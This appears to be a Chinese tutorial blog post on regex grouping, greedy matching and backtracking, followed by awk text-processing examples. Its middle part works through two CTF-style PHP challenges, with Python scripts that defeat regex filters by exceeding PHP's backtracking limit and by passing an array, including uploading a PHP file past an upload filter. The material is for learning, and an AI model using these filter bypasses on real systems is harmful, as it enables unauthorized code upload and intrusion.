正则部分内容、回溯漏洞案例、awk案例

    

目录

正则部分内容

分组

贪婪、非贪婪

  回溯漏洞案例

回溯原理

其他

案例1.

案例2.

awk案例

1.插入

2.对齐

4.去重

5.计数

6.检查tcp情况

7.统计ip访问非200状态码的次数

8.处理确实字段的数据

9.处理包含了字段分割符的数据

10.分割字符串

11.筛选某个时间段的数据


     

正则部分内容

分组

        以小括号为界,括号内的就是一个组,第几次出现的括号就是第几组,之后可以用对应数字引用该组,但引用的不是组内的正则,而是值。

以日期为例:

        

        \d是匹配任意数字

        括号内的(\d\d)就是第一个组

        \1就是引用该组的值,如果改成非12的其他数字就会匹配不上

        现在增加两个组:

             同理,重点是引用的是该组的值,而不是括号内的正则

贪婪、非贪婪

        贪婪就是尽可能多的匹配,非贪婪就是尽可能少的匹配,匹配到就停

        举例:

        

         

         正则表达式a.*b可以匹配整个字符串,因为b是最后一个字符

         而正则表达式a.*?b则只能匹配"accccb"即遇到第一个b就停

        其他贪婪匹配的包括 {m,n},{m,},?,+

        其他非贪婪匹配的包括:即每个贪婪匹配的量词加上?

回溯漏洞案例

回溯原理

回溯是指当前匹配失败时,回到之前的位置并尝试重新匹配,如下例子:

 在这个例子中,正则很简单,只有一个非贪婪的匹配数字,然后一个边界\b,

但是确执行了16步,原因是\d匹配数字,没问题,但是\b无法左边不是数字,就不算是边界,所以匹配失败,

过程如下:

1,12,123,1234,12,123.....

直到结束,绕过换成贪婪模式,即\d+\b

过程就会变成:

1234,123,12,1,234,23...

多亏了这个\b,最终无法完成匹配

 这就是回溯,另外可以看得出来,回溯会占用计算机资源,影响品牌速度      

其他

DFA引擎和NFA引擎是两种正则表达式引擎

区别如下:

DFA引擎可以处理使用有限状态自动机来实现匹配,不需要进行回溯,因此匹配速度非常快,而且不会受到回溯次数限制的影响。DFA引擎的缺点是它无法处理一些高级的正则表达式语法,例如后向引用和零宽断言等。在PHP中,DFA引擎主要由函数preg_match()和preg_match_all()使用,如果正则表达式不包含后向引用和零宽断言等高级语法,则DFA引擎可以用来提高匹配效率

NFA引擎使用非确定性有限状态自动机来实现匹配,可以处理一些DFA引擎无法处理的高级正则表达式语法,例如后向引用和零宽断言等。NFA引擎在匹配过程中可能需要进行回溯,因此相对于DFA引擎来说,它的匹配速度可能会稍慢一些,并且在匹配复杂的正则表达式时,可能会出现回溯次数过多的情况。在PHP中,NFA引擎主要由函数preg_replace()和preg_replace_callback()使用。

php回溯次数限制为1000000次

preg_replace()函数:

<?
$string = 'aidwa 12,134';
$pattern = '/(\w+) (\d+),(\d+)/';
$repllacement ='${1}1,$3';
echo preg_replace($pattern,$repllacement,$string);
//aidwa1,134

可以看到$string、$pattern、$repllacement分别对应原始数据、捕获数据、替换后的数据

案例1

function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting); 
}
$greeting=@$_POST['greeting'];

if(!areyouok($greeting)){
    if(strpos($greeting,'Merry Christmas') !== false){ 
        echo 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';
    }else{
        echo 'Do you know .swp file?';
    }
}else{
    echo 'Do you know PHP?';
}

目的是拿到flag

思路:

        可以看到有两个条件,第一个是不匹配这个正则,第二个是匹配上这个正则

        greeting是post提交的参数,可操作。

        要想拿到flag,只需要明白strpos是传字符串的,如果传数组会返回null

        那就很明确了,只需要传递一个数组进去,就行了

        payload:greeting[]=123

第一个if没有跟正则匹配上直接进来了,strops是接收字符串的,穿数组会返回null

null != false 是为假的,因为弱类型转换它俩都为0

但是null !== false 是为真的,因为一个是布尔类型,一个是空类型,严格匹配不上,所以进入第二个if

现在修改代码:

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
 
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        // strpos string postion
        if(strpos($greeting,'Merry Christmas') !== false){
            echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
} else {
    echo 'fuck array!!!';
}

可以看到,增加了一个判断语句,如果是数组的话就进不去了

这个时候就需要用到回溯了

思路:

        传入一个很长的字符串超出php中正则的回溯次数限制,绕过数组判断,

然后同上一个代码。

payload:"greeting":'Merry Christmas' + "a" * 1000001

from requests import post
payload = {
    "greeting":'Merry Christmas' + "a" * 1000001
}

url = 'http://localhost/demo4.php'
res = post(url, payload)
print(res.text)

结果:

案例2

<?php
function is_php($data){ 
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = md5($_SERVER['REMOTE_ADDR']); 
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { 
    exit("bad request");
} else {
    @mkdir($user_dir, 0755); 
    $path = $user_dir . '/' . 'oupeng.php'; 
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303); 
} 

思路:

        目的是上传一个文件,然后跟上一个案例一样,是绕过正则,直接用回溯

用python写一个post请求:

from requests import post

file = {
    "file": "<?php phpinfo();?>" + "a" * 1000001
}

url = 'http://127.0.0.1/demo6.php'

res = post(url=url, files=file, allow_redirects=False)

print(res.headers)

结果:创建文件成功

awk案例

1.插入

┌──(root㉿kali)-[~]
└─# echo "a b c d" |awk '{$2=$2" e f g";print}'            
a b e f g c d

2.对齐

┌──(root㉿kali)-[~]
└─# awk '{$1=$1;print}' test.txt
aaaa bbb ccc
bbb aaa ccc
ddd fff eee gg hh ii jj
                                                                                                 
┌──(root㉿kali)-[~]
└─# awk 'BEGIN{OFS="\t"}{$1=$1;print}' test.txt
aaaa    bbb     ccc
bbb     aaa     ccc
ddd     fff     eee     gg      hh      ii      jj
                                                                                                 
┌──(root㉿kali)-[~]
└─# cat test.txt
      aaaa        bbb     ccc                 
   bbb     aaa ccc
ddd       fff             eee gg hh ii jj

3.筛网卡:

┌──(root㉿kali)-[~]
└─# ip a | awk '/inet/&&!($2~/^127/){print$2}'
::1/128
192.168.25.128/24
fe80::20c:29ff:fe8f:4ab/64
172.17.0.1/16

┌──(root㉿kali)-[~]
└─# ifconfig | awk 'BEGIN{RS=""}NR==2{print $6}'
192.168.25.128
                                                                                                 
┌──(root㉿kali)-[~]
└─# ifconfig | awk 'BEGIN{RS="";FS="\n"}!/lo/{$0=$2;FS=" ";$0=$0;print $2}'
172.17.0.1

4.去重

┌──(root㉿kali)-[~]
└─# awk -F"?" '!arr[$2]++{print}' test.txt
2019-01-13_12:00_index?uid=123
2019-01-13_14:00_index?uid=333
2019-01-13_15:00_index?uid=9710

┌──(root㉿kali)-[~]
└─# awk -F"?" '{arr[$2]++;if(arr[$2]==1){print}}' test.txt
2019-01-13_12:00_index?uid=123
2019-01-13_14:00_index?uid=333
2019-01-13_15:00_index?uid=9710
                                                                                                 
┌──(root㉿kali)-[~]
└─# awk -F"?" '{arr[$2]=arr[$2]+1;if(arr[$2]==1){print}}' test.txt
2019-01-13_12:00_index?uid=123
2019-01-13_14:00_index?uid=333
2019-01-13_15:00_index?uid=9710

5.计数

┌──(root㉿kali)-[~]
└─# awk '{arr[$0]++}END{OFS="\t";for(idx in arr){printf arr[idx],idx}}' test.txt
425626                                                                                                 
┌──(root㉿kali)-[~]
└─# awk '{arr[$0]++}END{for(i in arr){print arr[i], i}}' test.txt               
4 nfs
2 status
5 nlockmgr
6 portmapper
2 nfs_acl
6 mountd

6.检查tcp情况

┌──(root㉿kali)-[~]
└─# netstat -tnap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      47771/sshd: /usr/sb
tcp        0      0 127.0.0.1:42859         0.0.0.0:*               LISTEN      2629/containerd     
tcp        0    208 192.168.25.128:22       192.168.25.1:54848      ESTABLISHED 47837/sshd: root@pt
tcp6       0      0 :::80                   :::*                    LISTEN      40706/apache2       
tcp6       0      0 :::22                   :::*                    LISTEN      47771/sshd: /usr/sb
                                                                                                 
┌──(root㉿kali)-[~]
└─# netstat -antp | awk '{arr[$6]++}END{for (i in arr){print arr[i], i}}'
4 LISTEN
1 ESTABLISHED
1 established)
1 Foreign
                                                                                                 
┌──(root㉿kali)-[~]
└─# netstat -antp | grep 'tcp' | awk '{print $6}' | sort | uniq -c
      1 ESTABLISHED
      4 LISTEN

7.统计ip访问非200状态码的次数

awk '$9!=200{arr[$1]++}END{for(i in arr){print arr[i],i}}' access.log | sort -k1nr | head -n 10

8.处理确实字段的数据

FIELDWIDTH第一个字段是字符宽度ID为2,指定2个字符宽度
第两个字段最大为6,但前面和ID之间还有两个空格,所以可以指定宽度为8,也可以跳过两个字符2:6

┌──(root㉿kali)-[~]
└─# cat test.txt    
ID  name    gender  age  email          phone
1   Bob     male    28   abc@qq.com     18023394012
2   Alice   female  24   def@gmail.com  18084925203
3   Tony    male    21                  17048792503
4   Kevin   male    21   bbb@189.com    17023929033
5   Alex    male    18   ccc@xyz.com    18185904230
6   Andy    female       ddd@139.com    18923902352
7   Jerry   female  25   exdsa@189.com  18785234906
8   Peter   male    20   bax@qq.com     17729348758
9   Steven          23   bc@sohu.com    15947893212
10  Bruce   female  27   bcbd@139.com   13942943905
                                                                                                 
┌──(root㉿kali)-[~]
└─# awk '{print $0}' FIELDWIDTHS="2 2:6 2:6 2:3 2:13 2:11" test.txt
ID  name    gender  age  email          phone
1   Bob     male    28   abc@qq.com     18023394012
2   Alice   female  24   def@gmail.com  18084925203
3   Tony    male    21                  17048792503
4   Kevin   male    21   bbb@189.com    17023929033
5   Alex    male    18   ccc@xyz.com    18185904230
6   Andy    female       ddd@139.com    18923902352
7   Jerry   female  25   exdsa@189.com  18785234906
8   Peter   male    20   bax@qq.com     17729348758
9   Steven          23   bc@sohu.com    15947893212
10  Bruce   female  27   bcbd@139.com   13942943905

9.处理包含了字段分割符的数据

需求:取得第三个字段"1234 A Pretty Street, NE"。

当字段中包含了字段分隔符时,直接使用FS划分字段来处理会非常棘手。gawk为了解决这种特殊需求,提供了FPAT变量。

FPAT可以收集正则匹配的结果,并将它们保存在各个字段中。(就像grep匹配成功的部分会加颜色显示,而使用FPAT划分字段,则是将匹配成功的部分保存在字段`$1 $2 $3...`中)

echo 'Robbins,Arnold,"1234 A Pretty Street, NE",MyTown,MyState,12345-6789,USA' |\
awk 'BEGIN{FPAT="[^,]+|\".*\""}{print $1,$3}'

10.分割字符串

┌──(root㉿kali)-[~]
└─# awk '{print $1,substr($2,1,3)}' test.txt
16 001
16 002
23 001
23 001
                                                                                                 
┌──(root㉿kali)-[~]
└─# awk 'BEGIN{FIELDWIDTHS="2 2:3"}{print $1,$2}' test.txt
16 001
16 002
23 001
23 001
                                                                                                 
┌──(root㉿kali)-[~]
└─# cat test.txt
16  001agdcdafasd
16  002agdcxxxxxx
23  001adfadfahoh
23  001fsdadggggg

11.筛选某个时间段的数据

BEGIN{
  # 要筛选什么时间的日志,将其时间构建成epoch值
  which_time = mktime("2019 11 10 03 42 40")
}

{
  # 取出日志中的日期时间字符串部分
  match($0,"^.*\\[(.*)\\].*",arr)
 
  # 将日期时间字符串转换为epoch值
  tmp_time = strptime2(arr[1])
 
  # 通过比较epoch值来比较时间大小
  if(tmp_time > which_time){
    print
  }
}

# 构建的时间字符串格式为:"10/Nov/2019:23:53:44+08:00"
function strptime2(str,dt_str,arr,Y,M,D,H,m,S) {
  dt_str = gensub("[/:+]"," ","g",str)
  # dt_sr = "10 Nov 2019 23 53 44 08 00"
  split(dt_str,arr," ")
  Y=arr[3]
  M=mon_map(arr[2])
  D=arr[1]
  H=arr[4]
  m=arr[5]
  S=arr[6]
  return mktime(sprintf("%s %s %s %s %s %s",Y,M,D,H,m,S))
}

function mon_map(str,mons){
  mons["Jan"]=1
  mons["Feb"]=2
  mons["Mar"]=3
  mons["Apr"]=4
  mons["May"]=5
  mons["Jun"]=6
  mons["Jul"]=7
  mons["Aug"]=8
  mons["Sep"]=9
  mons["Oct"]=10
  mons["Nov"]=11
  mons["Dec"]=12
  return mons[str]
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值